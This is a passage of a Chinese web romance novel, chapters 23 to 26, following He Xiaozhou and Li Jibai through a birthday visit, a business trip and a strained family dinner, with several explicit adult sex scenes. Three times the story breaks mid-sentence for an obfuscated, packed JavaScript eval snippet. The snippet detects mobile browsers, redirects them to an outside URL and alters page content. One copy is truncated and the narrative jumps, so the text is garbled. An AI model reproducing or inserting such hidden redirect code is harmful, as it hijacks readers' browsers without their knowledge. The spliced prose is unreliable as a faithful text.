电影中的结局不再吸引她,何筱舟望着屏幕,手上机械地重复着把手机倒扣又翻过来的动作。 屏幕上的数字在逐渐加大,可她却觉得那成了另类的倒计时。 应该是跳到59的后一秒。 手机嗡嗡振起来,李既白的声音通过两种途径接替传到她耳边,“开门。” 23. 风声 何筱舟从没见过这么狼狈的李既白。 他每次出现时都是清爽又利落的,携着淡而清新的草木气息,像早春时节抽条的树,挺拔、醒目,一眼望去尽是生机。 但现在—— 他穿着在桐陵时她选的那件橙白色T恤,左袖管往下都沾着泥渍,裤腿上也有,应当有一阵子了,已经干透皲裂。发尾同样缀有泥点,看起来就像是在泥地里滚了一圈。 可他没受半点影响,笑容依然明朗,怀里抱着的鲜艳花束也是。 “生日快乐,我应该没迟到?” 与预想的情况不同,何筱舟掐紧指尖,没接那束花,她忽然有种大雾天误入死胡同的无措感。 她蹙了蹙眉,给他拿拖鞋,“怎么搞成这样?” “说来话长。” “那长话短说。” 李既白摘下背包,把花束放在餐桌上。 “临时被公司派去拍新品宣传片,远郊下雨了,路不好走,摔了一跤。” 何筱舟扫一眼他的手臂,“没受伤吧?” “没事。” 颜色偏淡的裸粉色玫瑰,搁在空荡冷清的餐桌上却莫名刺眼,何筱舟别开目光,看向漆黑的窗外。 一时沉默,气氛有些凝滞。 “本来想回家收拾好再约你吃饭的。” 李既白试图打破僵局,他低低笑了一声。 “但结束太晚了,而且不知道怎么回事,楼里电梯停运,虽然家里有电,但附近修路把水给停了。” “来时候出租车师傅看我的眼神很怪,我才知道原来市区没下雨。” 他兀自说着,何筱舟一直没应声。 李既白打量她的面色,沉吟片刻,问:“我这么过来,是不是破坏了你的生日?” 好像找到死胡同的出口。 何筱舟急急抓住这稍纵即逝的清明,吐字如落钉:“是。” “你应该待在家好好休息,家里不行就去酒店。” “而不是这副样子大半夜赶半小时路去给炮友过什么生日。” 他脸上的表情瞬间溃败。 未经大脑的话脱口而出,何筱舟反应过来后,觉得自己过于咄咄逼人,无意识地咬了咬唇。 她以为他会生气,会发怒。 没料到他只是目光沉沉地盯着她瞧,很快又展笑,“可能因为,我不知道该怎么跟炮友相处。” “你教教我?” 何筱舟失语,蓦地生出点破罐破摔的暴烈心思。 想揭露谜底,想拆穿一切,想试探他的容忍底线,想激发他的攻击性,想撕开他的外壳,看看内里是不是如出一辙的温润,没有半点棱角。 但对上他的笑容,这些念头又顷刻消退。 她用力推一把李既白的肩膀,迫使他坐到餐椅上,而她迈开腿,直接跨坐在他膝上。 “我衣服脏。” 何筱舟没理,捧着他的脸,恶狠狠吻上去。 没有半点旖旎可言,她几乎是在啃咬,而男生全盘接受。 这样僵持一会,何筱舟觉得没意义,想要退开。 男生却遽然抬手,手掌扣在她脑后,仰面凑近,一下一下轻轻啄吻。 李既白没有闭眼,幽邃的视线牢牢锁着她,这么亲了一会,才柔和地慢慢深入。 舌尖相抵的瞬刻,何筱舟没来由地心脏一沉。 他的动作很轻柔,仿佛有温热的水漫过胸腔,轻易熨平她心间所有崎岖、皱褶的异念。 再分开时她已经平静下来。 她垂首抵住他的前额,声音极轻,“就是这样,只是这样。” “那你要习惯一下,在我这里不同,我可能暂时学不会‘只是这样’。” 何筱舟稍稍后撤,想再说点什么,却被一声突兀的“咕噜”声打断。 李既白一怔,有点窘迫地垂下头,埋进她颈间,声音闷闷的,“筱筱姐,有吃的吗?” 犯规。 何筱舟沉了口气,胡乱揉一把他的耳朵,从他腿上下来。 “只有这个。” 她站在冰箱前,端出切开了一角豁口的蛋糕。 李既白笑了笑,“不是榴莲的就行。” 她穿一件偏休闲的灰蓝色衬衫,长发随意挽起来,扣子多解了两颗,露出线条漂亮的颈线。 因为清瘦,整个人被冰箱静白的灯光笼住时,看上去有种孤孑感。 没拆封的蜡烛包更加剧了这种感觉。 李既白动手切蛋糕,问她:“没有许愿?” “没有愿望。” 何筱舟走去阳台收衣服,“我先去洗澡。” 李既白点点头。 他把剩下的蛋糕放回冰箱,收拾好餐桌,打开背包拿换洗衣物。 衣服沾了泥土,不好用洗衣机。洗完澡,他准备拿去阳台水池手洗。 但从浴室出来时,被何筱舟叫住。她拿过他换下来的衣物,直接投进垃圾桶。 李既白不解地看着她。 “你可能没看到,后肩膀的位置破了个小洞。” 这是原因之一,但更多的,是她突然觉得这件橙白色T恤明晃晃的,很刺眼。 何筱舟拉着他进卧室,让他在床边坐下。 “真的没有受伤?” “可能撞到了肩膀,没什么事。” 摔倒时很混乱,他只来得及护住设备。 因为要体现新款无人机型的灵敏度及避障能力,地点设在地形复杂的远郊,几乎到了与另一座城市接壤的边缘。 他赶回公司已经过十点了,匆忙回家,再到这,刚刚脱了衣服才注意到。 何筱舟伸手褪掉他的T恤,“我看看。” 她站在他身前,稍稍探头,便一下子看到他左后肩的淤青。 他皮肤白,放射点状的青紫色痕迹看起来很明显。而这种伤一般在刚撞到时还不算严重,会慢慢发展成大面积的皮下淤血。 何筱舟抿了抿唇,从床头柜抽屉里取出药剂,喷在那伤处,末了,还用掌心轻轻揉了一会。 李既白目光跟随着她,看她微侧过脸给他涂药时,有一缕发丝轻飘飘落下来。 她卸掉了口红,此时唇色是自然的淡粉,而发丝斜斜垂落,遮住挺直的鼻梁。 所有为她赋予锋芒的表面因素暂时消失,使得她整个人看上去温柔极了。 但他还是抬起手,拈起那缕发丝别到她耳后。 挨到她柔软的耳垂,他倏而感到一点若有似无的刺痛。 不知是来自肩膀还是胸口,又或者是刚刚被她咬过的位置,痛觉此刻才传递到神经末梢。 何筱舟,有没有人说过你像刺猬? 这话在嘴边打了个转,最后还是没说出口。 涂完药,李既白去客厅拿来背包。 何筱舟已经洗了手,坐在床头点燃上次他送她的那支香薰蜡烛。 李既白弯了弯唇,绕到床的另一侧。 他关了灯,室内只剩下蜡烛的盈盈火光。 “你应该知道我有收集风声的习惯。” 何筱舟将手机锁屏,侧眸望着他。 李既白移坐到她面前,轻点手机屏幕,淅沥沥的雨声混杂着细微风声,在安静的卧室响起。 “我没带收声设备,用手机录的,听起来有点杂。那时候我在亭子里避雨,想给你打电话,但信号不太好,就录了下来。” “这是8月4号的风声。” 昏昧的空间里,男生眉眼低垂,长睫毛遮住所有情绪。他脸上没什么表情,但何筱舟指尖抚上去时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755209|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他蓦地抬眼,深黯的眸色快要将她吸进去。 “再播一遍好吗?” “我现在有点想许愿了。” 他依言拉回进度条。 在重新响起的风声中,何筱舟看着他,“希望李既白,明天醒来之后,能够忘掉我之前的口不择言。” 李既白注视她良久,伸手捧住她的脸颊,“那你浪费了一个愿望。” 他眼角含笑,幼稚地把她的嘴巴挤成O型,“重新许。” 房间内开着空调,凉空气舒适地绕在周身,因为那风雨声,香薰散发出的松木调香气,让人恍惚觉得如处野外林间。 好像是被雨追赶着,躲进一处废弃的,四面漏风的房子,只有眼前人和那一丛烛光是有温度的。 何筱舟扶着他的手,含糊地说,“我就这一个愿望。” 李既白笑着,倾身亲了亲她的唇角。 而后从另一侧床头取来一个方形包装盒。 打开来,里面是支香水。 何筱舟微不可查地松了口气。 李既白似乎对她的想法了然于胸,把盒子递给她的时候,说:“我没见你戴过饰品什么的,本想送块手表给你,又感觉会被拒收,最后选了这个。” “你感觉没错。” 何筱舟说:“如果你今天这么惨地赶过来,再送我一些很贵的礼物,我可能会连人带东西一起丢出去。” “那如果我没有摔跤呢?” “只丢东西。” 李既白抬手托住她的一侧脸颊,“你是不是,不习惯接受别人对你的付出。” 何筱舟拉下他的手,握住,坦言道:“有点。” “尤其是太超过的付出,比如你今天,如果是跟以前一样来找我,我们一起看电影,喝点酒,这样就很好了。” 李既白收力握紧她的指尖,“抱歉。” “你没有错,不用道歉。” 何筱舟打开香水盖子闻了下,是冷调的气味,像冬日里的冷空气,挟着凛冽的风雪。 她挪到他身侧,翻身坐到他腿上。 “我很喜欢这个味道,更喜欢那段风声,音频发给我好吗?” 长发是散开的,因此她低下头时,眼前最后一点微弱的烛光也被遮住。 朦胧的视野里,是对方近在咫尺的鼻尖。 何筱舟感知到他的鼻息在脸侧停顿一瞬,移去颈间,在锁骨处滞留片刻,蜿蜒向下。 她低头即能看见,他那双好看的手正慢条斯理地解她睡衣的纽扣。 皮肤暴露在冷气中,又被温热的手掌倾覆。 他埋头轻吮,舌尖扫过后,才想起抬头问她:“可以吗?” 何筱舟脑内轰然,伸手将他脑袋按回原处。 李既白闷笑了下,唇重新覆上去,辗转碾磨。 印象中,这是他第一次在她身上留下痕迹。 何筱舟忍不住发问:“这是你的学习成果?” 男生抬起头,他的嘴唇因为用力而微微充血,呈现出红润的颜色。 李既白思考片刻,再次低下头,捕捉同样的一抹红,含糊道:“前几天接到一条短信,内容是让我注意不知名网站风险,之类的。” 何筱舟明白过来,哧哧笑开。 腰侧被轻轻掐了一把,他另一只手隔着睡衣薄薄的衣料,沿脊柱缓缓滑至后腰,若有似无地在那处摩挲。 何筱舟笑意瞬敛,仰颈溢出一声哼吟。 她理智尚存,考虑到李既白肩上的伤,主动叫停。 她捧着他的脸,在他唇上亲了一下,“下次再验收。” 蜡烛熄灭后,室内完全暗下来。 何筱舟被李既白圈进怀里,她后背靠着他的胸膛,在清淡的松木香里,心跳渐渐平息下来,沉入睡眠。 24. 流水 要坦然接受李既白过分真挚的好意,对何筱舟来说有点难。 但她渐渐发现,他骨子里就是个对世界充满善意的人。 整个8月,两人稳定维持着周末见面的关系。 不太恰当地说,像分别住在城市两端不能经常见面的情侣那样,休息日即是热恋期。 有时是去李既白家附近的体育中心,选一些室内项目,打羽毛球或者游泳。 慢慢何筱舟发觉她的睡眠质量似乎都变好了些。 这样讲给李既白听的时候,他会侧过脸来,求表扬似的等她在他脸上落下一吻。 有时睡到自然醒出门,随机搭乘一班公交,共享同一副耳机,挽着手在街头巷尾闲逛,开发新的城市地图。 有时会被季惟叫去酒吧玩,鼓噪热闹的场合里,两人俱是陪衬,各自端杯酒缩在角落,面庞被手机微信的光线照亮。 去时独自前往,但散场后会避开人群坐进同一辆车。 有时是去郊外或者海边给李既白的视频账号拍摄素材,回来之后剪视频,他会抱她坐在书房那把人体工学椅上,让她帮忙选bgm. 只是选着选着,两人注意力都会跑偏。 有时在何筱舟家里,李既白穿上围裙做几道她爱吃的菜,一人一罐冰啤酒,从傍晚闲聊到华灯初上。 聊天内容没有主题,上一秒还在说某部电影映射的社会现象,下一秒可能就延伸到没有营养的快餐式网络碎片信息。 他们逐渐渗入对方的生活,衣柜里单独为彼此辟出的空间是最直观的佐证。 而更具体的,是逛一些新奇的杂货店时,互赠给对方的小物件。 它们分散在家里的角落,每每看到时,与之相关的记忆都会变得更深刻一点。 何筱舟也多次见证了李既白每周朋友圈九宫格的收集过程。 他总能注意到那些平平无奇会被忽视的东西。 雨滴砸进积水时绽开的小型烟花;亮起时如UFO一般的圆环式特制路灯;霓虹被河面涟漪荡成油画…… 她时常想,他身体里是否藏着某种能量条,每天定时刷新,为他独特的观察力和想象力提供灵感源泉。 这样说着,何筱舟想到什么,特意补了一句:“当然,我指的不是能量饮料。” 李既白往购物车里丢了瓶口香糖,笑道:“会这么说,你想象力也很丰富。” 已经是9月的第二个周末。 明天周一,何筱舟要去申州出差,归期不定。 他们好像默契到能从眼神对视中读出对方的心思,吃过晚饭后没有立刻分别,拐去了商场负一楼的超市。 然而并没什么需要添置的。 结完账出来还不过九点,两人沿桥上的人行道步行回新安社区。 购物袋轻飘飘的,被清澜河上的风吹得哗哗响。 “你明天几点的飞机?” “早班机,五点。赶上班时间去客户公司开会。” “我……” 他忽然顿足,从裤兜里掏出纸巾,递给旁边一位带小孩的年轻妈妈。 何筱舟这才注意到,人来人往的步道上,她们站在桥栏边吃冰淇淋,融化速度太快,糊得满手都是。 那位妈妈背着包,但因为手上淌满冰淇淋液不好打开,有点无措。很意外地接过纸巾后,对两人连连道谢。 李既白礼貌颔了颔首,往前走的同时继续说:“明天让我开你的车送你去机场好吗?” 何筱舟早已对他这类极其自然的善意举动见怪不怪。 她并没被这个小插曲打乱聊天节奏,但还是因为他这句话愣了愣,“那你上班来得及吗?” “来得及。” “可是这么来来回回不麻烦吗?” 她一向注重效率,觉得这个行为性价比太低。 李既白转头看着她,“麻烦的程度低过我想见你,就不是麻烦。” 何筱舟心尖一震。 她常把这种比较用在举棋不定的两件事上,以此说服自己。 现在好像也被他说服,“好。” * 男生今晚有点过度热情了。 进门还没换鞋,何筱舟就被他抱上玄关柜。 双手抱住他脑袋开始无意识地揉搓他的发根时,她气喘着问:“你今天怎么了?” 李既白顿了顿。 他经历过许多次分离,远比当下要残酷的多。 但或许是肌肉记忆,又或许是这段时间像泡进蜜罐般惹人依恋,他今晚竟体会到久违的那种不安。 泥沼一样,越挣扎陷得越深。 他重新吻住她,气息不匀地说:“不知道。” “从吃饭时候你告诉我要出差一段时间,我就想亲你了。” 何筱舟少见他这个样子。 眉目因情欲的浸染显得愈发深沉,亲吻的力道有几分凶狠,却不急着更进一步,倒像是在确认什么,吮得她唇瓣微微发麻。 而她也难以抗拒被这双眼睛以这样的目光注视。 很快被调动起来。 渐而升高的温度被突如其来的电话铃声浇熄。 是乔楠。 她每隔几天便会在美国时间的早晨给何筱舟拨来视频。 李既白闷在她颈间平复呼吸,几秒后,将何筱舟抱下来,理好她乱掉的衬衫衣襟,“你先接,我去洗澡。” 何筱舟按了接听,坐去沙发前的地毯上。 乔楠读本科和研究生期间在美国独自生活好几年,突然过去也没什么不适应的。 她现在在一家时装周刊做审稿编辑,不再画叛逆乖张的暗黑系妆容,戴一副中规中矩的黑框眼镜,跟Eric和好如初,搬进纽约的一所公寓里,每天甜蜜又忙碌。 乔楠夸张地张大嘴巴,“不敢相信,有朝一日我会过上这样的日子。” “让我爸自己去跟周家人二婚吧!” 何筱舟为她高兴,“是和穿普拉达的女王里面一样的时装杂志吗?” 乔楠哈哈笑,“没那么厉害啦。” 何筱舟说:“我前段时间去了趟槐枰街,你的店运转正常,放心吧。” “我走之前都交给季惟了,他一个人管两家店忙得过来吗?” “我看着还好,他还有精力攒局开party.” 通常她们之间的通话持续时间不长,今天也一样。各自聊完近况准备挂断的时候,乔楠忽然尖叫出声。 很漫长的一声,大有一副要穿过太平洋的架势。 何筱舟吓了一跳,同时也听到电话那头一句英文的男声训斥。乔楠吐了吐舌,一字一顿地说:“你、恋、爱、了。” “没有。”她当然否认。 乔楠发来一张截图。 是她们的视频画面,何筱舟衬衫领口微敞,锁骨下方至隐秘胸口处,白皙皮肤上的红痕尤为明显。 何筱舟拉好衣领,“只是……在你们那叫date.” 乔楠一脸高深莫测,“那看起来,这个男人应该很和你心意。” 她微怔,“为什么这么说?” 乔楠煞有介事地扶了扶眼镜。 “一,从你最近的状态看,很放松,很……平和,以我对你日常行为的了解,导致这种变化的变量最大可能就是你的新男人。” “二,也是我刚刚想到的,上次我在你家看到的拖鞋绝对不是给刘叔买的!你竟然把男人带回家了!” “三,你以前从来不把男人带回家的,基于第二点可得,这个男人不一般。” 不知道受谁影响,她现在说起话来一套一套的。 何筱舟下意识想辩驳,但乔楠被Eric揪去上班,通话戛然而止。 乍然安静下来的房子里,何筱舟听着浴室传来的水声,一时恍惚。 先前和luis的关系存续期间,从来都是去酒店,甚至不会过夜。她好像只是在体验那个过程,想尝试一种新的可能性,做实验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776739|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样。 李既白不同。 大概是因为他太像林湛,她对他有种天然的信任感。 她惊觉自己不再排斥和他一起做些与性.爱无关的事。这段关系,不知不觉间正在偏离她最初消遣、寻求慰藉的初衷,被赋予上弥补缺憾的意义。 就像是在构建她曾经期待过却没能拥有的,与林湛的未来。 意识到这一点,何筱舟又在心里否定自己。 林湛喜欢刺激,追求冒险,他说人生要尽兴,最好每时每刻都精彩绝伦。 也许他会坚持做乐队,可能大红,奔波于不同城市,在音乐节或者更大舞台与万观众同频共振。 也许做其他,总之不会和她一样做着按部就班的工作,一切行动都像是被设置好的程序。 那么如果没有发生意外,他们能有未来吗? “行李收好了吗,要不要帮忙?” 冷不丁响起的声音令何筱舟肩膀一颤,回过神来。 李既白立在浴室门口,穿质地柔软的白T和宽松短裤,被莹白的光笼罩着,无端让她觉得很遥远。 何筱舟目光涣散地望过去,“你是真的吗?” “当然真的,你行李箱在哪?” 风马牛不相及的对话。 何筱舟眼神重新聚焦。是他来到她面前,半蹲下来,“申州温度比津海高,带点夏装和薄外套应该就够了。” 李既白笑说:“我们去过申州的,你记得吗?” 先前飞机备降后的短暂停留,也是他们那场即兴旅途的起点。 何筱舟没接话,抬手搂住他的颈项。 她贪恋地埋进他肩窝,呼吸着他身上洗沐之后的潮湿香气。 李既白身形一滞,手后撑着坐下来,另只手揽住她的腰,低声问:“出什么事了吗?我好像听见乔楠姐喊了一声。” “想要你。” 李既白愣了几秒。 她由来是行动先于言语,从没有过这样的时候,声音被蒙了层雾气一样,轻而飘渺。 让他有种无法言说的感觉。 就仿佛,她发丝贴在皮肤上那种痒而柔软的触感侵入血肉,沿脉络直抵心脏。 李既白轻吻她的发顶,抱着她一起跌进沙发里。 面对面的情况下,对方的一切反应都清晰可见。 完全填入的时候何筱舟忍不住轻哼了一声,舌尖抵着牙齿,口随心动,发出了一个简短模糊的“lin”。 末尾的鼻音被又一次低吟冲散,她惊惶反应过来,咬紧下唇。 男生浑然未觉,撬开她的齿关,轻轻舔舐她硌在唇沿处的齿印。 “筱筱。” 除去那个带有调侃意味的“筱筱姐”,他没有这样亲昵地称呼过她,但就这么自然而然地说了出口。 “是叫我吗?” 他用力吻住她,深挺两下,“我听到了。” 何筱舟鼻尖一酸,几欲落泪。 李既白从来受不住她含有雾气般潮湿的眼睛。 尤其她今晚似乎特别投入,水迹逐渐蔓延到相贴的腿根,起落间,水声格外明显。 那种被吸纳的感觉,因她的目光而成倍加剧,让他疑心下一秒就会深陷进她的沼地。 …… 结束后,何筱舟侧伏在李既白肩头平复呼吸,目光落到挂在玄关的托特包。 “帮我个忙好吗?” “什么?” 男生将她圈进怀里,指尖轻轻摩挲她的耳廓。 “我那个胶片机拍完了,你找家店帮我洗出来好吗,纸质和电子版的都要。” “好。” “我确定回程日期后告诉你。” “好,我去接你。” 何筱舟闭上眼,手按在他胸口。 肌肉的触感很紧实,而更明显的,是他还未完全恢复如常频率的有力心跳,一下下顶弹掌心。 你是真的。 她在心里说。 25. 高空 这天周五,李既白下班后被季惟叫去酒吧。 倒不是聚会,而是听他吐苦水。 酒吧照常营业,稀稀拉拉几桌顾客。 季惟没有和往常一样呼朋引伴,猫在吧台里喝酒,调酒师则杵在旁边作陪,一脸不耐烦。 见李既白过来,看到救星般借口上厕所溜了。 他觉得好笑,但坐下不到五分钟,也有点想去卫生间了。 季惟不是只喝酒,嘴里翻来覆去念叨着乔楠,吐字断断续续,没有逻辑,压根连不成完整的句子。 对于季惟和乔楠的事,李既白知晓不多。 他大四上学期才认识乔楠,那次是津海的高校篮球联赛,季惟带她一起来凑热闹。 参加过几次季惟组织的聚会才算熟悉起来,乔楠得知他家离珠港近,顺口提了一嘴,让他帮忙留意一款奢品耳环。 后来才知道,那对耳环真正的主人是何筱舟。 思及此,李既白不免感到奇怪。 这么周折才买回来,好像从来没见她戴过。 “你听我说话了吗?” 季惟把空酒杯搁到桌面上。 李既白给他倒酒,“你想听真话吗?” “别拐弯抹角。” “你知道为什么你喜欢乔楠姐这件事我们都能看出来,但她本人感觉不到吗?” 季惟露出求赐教的表情。 “我上次见到你这种追女生的方式还是在初高中,以喜欢的名义捉弄人,逗别人跟你吵架,乔楠姐还跟你做朋友已经很够意思了。” “那老外又比我好到哪去,看她朋友圈发的照片,拉着张脸,严肃的跟教导主任一样。” “那更能说明问题了,乔楠姐可能喜欢成熟的。” 季惟被噎到,闷下一大口酒。 许是觉得气不过,开口反击:“别只说我,你每次被搭讪说有女朋友是真的假的,从来没见过。” “你不会跟我一样吧,单相思,人根本不理你。” 李既白扬了扬眉,故意不接话。季惟觉得无趣,话头一拐,又自顾自计划起要去美国挖墙脚。 李既白没当真,只当听醉话。 没过一会,季惟接了通电话。 他有点为难地看着李既白,“朋友来找我去看live演出,一起去?” 李既白解脱般松口气,“不了,我回家睡觉。” 季惟愧于把人叫过来结果自己提前溜号,连声道歉,说改天请他吃饭,又给他打了辆车,才算安下心。 李既白并不在意,他对这种情况早就习以为常。 他在人际交往中就是这么个定位。 不是首发必选,有点像替补。 因为配合度高,不较真,总是一副怎么着都行的处事作风,适合做聆听者,适合被临时召来补空缺。 他也乐得这样,不与人交恶,也不特意跟谁来往,不陷入任何亲近关系里,游离在圈子外围,偶尔被需要,又完全保有自己。 但显然,何筱舟的出现让这套体系崩裂一角,她不在这个范围里。 李既白回到住处,开门即看见搁在玄关柜上的快递袋。 里头装着何筱舟胶片机冲洗出来的纸质照片,应当有半数左右都是跟他一起拍的。 收到后一直搁在这,他没拆开,因为与他无关的另一半。 洗完澡他去了书房,照常各背一会英文和德文单词,完事后导入素材剪视频,只是—— 鼠标箭头滑着滑着,点开网站,搜索起津海到申州的机票。 意识到自己在做什么,李既白关掉网页,拐去浴室洗了把脸。 过去很长一段时间里,他都很享受独处,但最近总会莫名感到索然,就像被吊在空中,脚不沾地。 有种难以言说的失重感。 * 何筱舟在申州度过了焦头烂额的半个月。 涉及一个遗留项目的合同到期交付,搁置许久,合作方公司卡着条款验收,系统内走不通的逻辑都要进行修改。 而当时主做这项目的研发人员已经离职,代码采用的是上一版本框架,能跑起来就是万幸,修复bug的过程无异于屎上雕花,极度耗费心力。 随行三位研发,到后面何筱舟除了要跟合作方沟通、掰扯,还亲自上阵,揽下一部分工作。 赶在国庆假期前夕,总算达到了对方的验收标准,一行人功成身退。 而并肩作战是拉近距离的最好途径。 何筱舟能感觉到,这趟下来,她这个半空降的新领导不再是悬浮的。 至少在这三人眼里是这样。 “何总,要眼罩吗?” 跟她坐一排的是陈曦,很可爱的一个女生,递来的物件也可爱,画着兔子图案。 何筱舟并不困,婉言推辞,末了补一句:“叫我竹晓就行。” 是她进公司时起的花名,这么些年下来,已经成为她的符号,而且她自认为她的级别还没到可以称为“X总”的地步,有点受之有愧。 陈曦说:“竹晓,有什么含义吗?比如我叫晨曦,因为我就叫陈曦。” 前排的文途回头挤兑她:“你说话怎么跟绕口令似的?” 何筱舟回想了下,“我记得是因为老有人把我名字写错,写成日字旁那个晓。” “还可以这样,”张洋也回头,“如果按这个逻辑,我应该起个水扬。” 文途说:“水性扬花的水扬吗?” 张洋回他一个肘击。 何筱舟笑了笑,说:“到津海都别回公司了,我回头跟人事部门统一申请调休,就当提前休国庆假。” 陈曦眨眨眼,迟疑道:“有没有可能,假期已经开始了,今年和中秋一起放的,从今天开始。” 何筱舟这段时间睁眼闭眼都想着工作的事,看日历才后知后觉29号是中秋节,就顺口提了一句让他们记得上OA提交加班。 之后她没再参与聊天,预测晚上可能要有一场逃不脱的应酬,忽然像被抽掉所有力气般,有些倦怠。 果然。 落地接到何丽萍的电话。 事实上她下午也打来好几通,只是在飞机上没接到。 说是过节聚餐,刘循书在附近酒楼订了间包厢,他儿子和男朋友也在。 起飞前何筱舟把航班号发给了李既白,这会只顾得上草草跟他道歉,说句不用来接了,她直接拖行李打车赶过去。 放假赶上中秋,网约车排到了一百号开外。 好不容易等到,下机场高速后的几条主干道堵成了深红色,车子顿挫着龟速前行,一点点耗干何筱舟的耐心。 折腾三个多小时,终于抵达目的地。 但她进了包厢才发现,还有另一个人。 互相介绍过,何筱舟记起这人是先前提到过的,刘循书同事的儿子,国企工作那位。 家庭性质的晚餐邀请不相干的人来,是什么意味不言而喻。 何筱舟的火气直冲头顶,不停灌水,一忍再忍才没当场发作或者扭头就走。 包厢布置成奔月主题,门侧、桌柜分布着玉兔、圆月、祥云等元素,隐约有弦乐声从走廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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猛地俯冲,靠惯性迅速登顶,盘旋、停滞、倒挂,悬于半空,突然—— 他的手机铃声响了。 李既白脚步一滞,看到几步开外的人明显顿了顿,将手机从耳边移开,回头。 “你怎么在这?” 她看起来疲惫到极点,面容挂满倦色,唇上的口红褪去了些,只剩外缘一点薄薄但依旧锋利的红。 李既白走到她面前,“我来是,把钥匙还你。” “就这样吗。” 她没接,皱了皱鼻子。挺直鼻侧积起几道细微皱褶,使得素淡的一张脸好似都变得生动起来。 “你不先抱抱我吗?” 有什么东西铮然落地。那种无法克服的失重感忽然间全部消退。 李既白看她两秒,伸手,一把将她揽进怀里。 何筱舟泄了力道,倚靠在男生胸前。 他个子高,肩宽,一手搂住她腰,一手扣在她脑后,这样严丝合缝地拥裹着她,熨帖、安暖,也为她提供一个支点。 好像无需想象他是林湛,所有负面能量也可消弭于这个拥抱。 李既白想问问她发生了什么事,也想问送她回来的男人是谁。 但忍住了,他没有这个立场。 想到这,李既白紧了紧手臂的力道。 不,不一定。 26. [锁] [此章节已锁] 何筱舟呼吸很轻。 轻到让李既白误以为她就这么靠着他睡着了。 侧过头看,才发现她眼睛是睁着的,目光落向二楼黑沉的窗口。 过一会,她低声说:“走吧。” “去哪?” 打车去了李既白的住处。 路上她眯了会,头抵上车窗,李既白担心她睡得不舒服,动作放到最轻,把她脑袋扳来肩头。 何筱舟眼睛睁开细缝,看到男生近在咫尺的侧脸线条,往上移了寸许,唇贴上他颈间的皮肤,以气声说:“谢谢。” 余光瞧见他喉结不自然地滚了滚,她轻笑一声,再度阖上眼。 起初李既白没打算做什么。 她看起来很累,需要好好睡一觉。趁她去洗澡的时候,他提前点上香薰,待卧室里的空气染上清淡的松香味道,他便吹熄蜡烛去了书房。 谁料她洗漱完,身上只穿了件他的t恤—— 是的,只有。 她手后撑着斜倚桌沿,脚踩着他的腿借力,直接坐到了书桌上。 李既白迅速移开目光,转向电脑屏幕。 实际她坐的位置偏左,不足以遮挡视线,但屏幕上的文字、图片是什么,很难再集中精力去看。 那种身临其境坐过山车的感觉又来了。 他知道会发生什么,可真正的冒险来临前,总要先经历漫长而磨人的蓄力过程。 她侧过脑袋,下巴搭在肩头,认真念文章的加粗标题,可她嗓音带着颗粒感,听上去懒洋洋的。 “2023,十一,黄梅戏展演周。” “看不出来,你喜欢看戏吗?” 方才误触点开的网页,李既白轻点鼠标关掉,起身,一把推开桌面上的杂物,把她抱到中间。 “我喜欢看你。” 男生躬身压下来的瞬间,何筱舟下意识加重撑臂的力道,才没倒去桌面。 大约为了践行这句话,他将t恤推高至她锁骨处,以舌尖细细描摹。 亲吻渐而上移,强势地将她的哼吟吞入口中。 何筱舟回应着他的吻,不由自主地分开双腿,盘绕在他的腰后。 李既白低笑一声,重新坐回椅子上,顺势握着她的小腿搭上他肩膀。 而他低下头去。 潮湿温热触感滑过的霎那,何筱舟条件反射地蜷起脚趾。 正在发生着什么,从她的角度看一览无余。 他低眉极专注的样子,好看的鼻梁和嘴唇匿于阴影里,时隐时现。 她或被抵住,或被刮擦。 轰然的愉悦感直冲神经末梢,让她不得不抠紧桌沿,情不自禁地向他贴近。 男生也有感知,手用力托住她腿侧,近乎是以禁锢的方式把她送到面前,“是要这样吗?” 何筱舟抬腿勾住他的脖颈,阻止他再说话。 室内安静下来,只剩含混的水声。 …… 腿脱力垂下桌沿,男生抽纸巾帮她清理干净。 他故意仍不让她退开,与她对视着,带点湿意的嘴唇挨上她颈间的皮肤,留下一枚浅浅的红痕。(这段话到底怎么了,反反复复锁????) 他这才满意似的,用拇指轻轻刮了下那处痕迹,松开她,“去睡觉。” “你呢?”何筱舟脚尖探过去,隔着裤料碰了碰。 李既白箍住她的脚踝阻止她作乱,拿纸巾擦了擦唇角,“我自己解决。” 她挑挑眉,故意问:“怎么解决?” 李既白抬头望向她,眸光深黯,“你要看?” 她以眼神回答,淡然,却透着不容置疑的执着。 他神色紧绷不看她,“别想。我不会当着你面。” 何筱舟手拊上他侧脸,凑过去亲吻他,“我走的这些天,有吗?” 不等他回答,又说:“我有。” “用你见过的那个,海豚。” 要怎么办。 她由来都是淡漠的,锋利的,有距离的,好像永远与外界隔一层屏障,谁也不能真正触及她的内心。 而当她被欲望浸染时,她会主动破开这层屏障,坦荡地全然将自己交付,有种自毁般的不顾一切。 让人心甘情愿做她的共犯。 李既白在她的目光中败下阵来,腿施力把椅子往后移了些。 